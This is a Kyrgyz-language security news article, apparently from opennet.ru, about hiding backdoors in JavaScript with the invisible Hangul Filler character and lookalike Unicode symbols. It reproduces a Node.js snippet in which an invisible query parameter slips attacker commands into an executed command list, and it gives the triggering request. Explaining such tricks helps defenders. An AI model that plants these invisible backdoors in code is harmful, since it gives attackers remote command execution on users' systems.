JavaScript кодундагы аракеттерди жашыруу үчүн көрүнбөгөн Юникод символдорун колдонуу

Эки багыттуу тексттин дисплей тартибин өзгөрткөн Юникод символдорун колдонууга негизделген Trojan Source чабуул ыкмасынан кийин, JavaScript кодуна тиешелүү болгон жашыруун аракеттерди киргизүүнүн дагы бир ыкмасы жарыяланды. Жаңы ыкма тамга болгон, бирок көрүнүүчү мазмунга ээ эмес "ㅤ" (код 0x3164, "HANGUL FILLER") юникод белгисин колдонууга негизделген. Бул белги таандык болгон Юникод категориясына ECMAScript 2015 спецификациясынан бери JavaScript өзгөрмө аттарында колдонууга уруксат берилген, бул Notepad++ жана VS Code сыяктуу популярдуу код редакторлорунда башка өзгөрмөлөрдөн айырмаланбаган көзгө көрүнбөгөн өзгөрмөлөрдү же жаңы өзгөрмөлөрдү түзүүгө мүмкүндүк берет.

Мисал катары Node.js платформасынын коду келтирилген, анда "ㅤ" бир белгисинен турган өзгөрмөнүн жардамы менен чабуулчу көрсөткөн кодду аткарууга мүмкүндүк берүүчү бэкдор жашырылган: app.get( '/network_health', async (req, res) = > { const { timeout,ㅤ} = req.query; // чындыгында "const { timeout,ㅤ \u3164}" дейт const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // үтүрдөн кийин \u3164 ];

Бир караганда, тышкы параметр аркылуу тайм-ауттун мааниси гана өтөт жана аткарыла турган командалар менен массив зыянсыз туруктуу тизмени камтыйт. Бирок, чындыгында, тайм-аут өзгөрмөсүнөн кийин, \u3164 символдук коду менен башка көрүнбөгөн өзгөрмөнүн мааниси дайындалат, ал дагы аткарылуучу буйруктардын массивине алмаштырылат. Ошентип, мындай структура болгондо, чабуулчу "https://host:8080/network_health?%E3%85%A4=command" сыяктуу суроо-талапты жөнөтүп, бэкдорду иштетип, өзүнүн кодун аткара алат.

Дагы бир мисал катары, "ǃ" (ALVEOLAR CLICK) белгиси берилген, ал илеп белгисин көрсөтүүчү көрүнүштү берүү үчүн колдонулушу мүмкүн. Мисалы, Node.js 14 ичинде аткарылган "if(environmentǃ=ENV_PROD){" туюнтмасы ар дайым туура болот, анткени ал айырмачылыктарды текшербейт, бирок "environmentǃ" өзгөрмөсүн ENV_PROD кылып коёт. Адаштыруучу Юникод символдоруна "/", "−", "+", "⩵", "❨", "⫽", "꓿" жана "∗" кирет.

Source: opennet.ru

Комментарий кошуу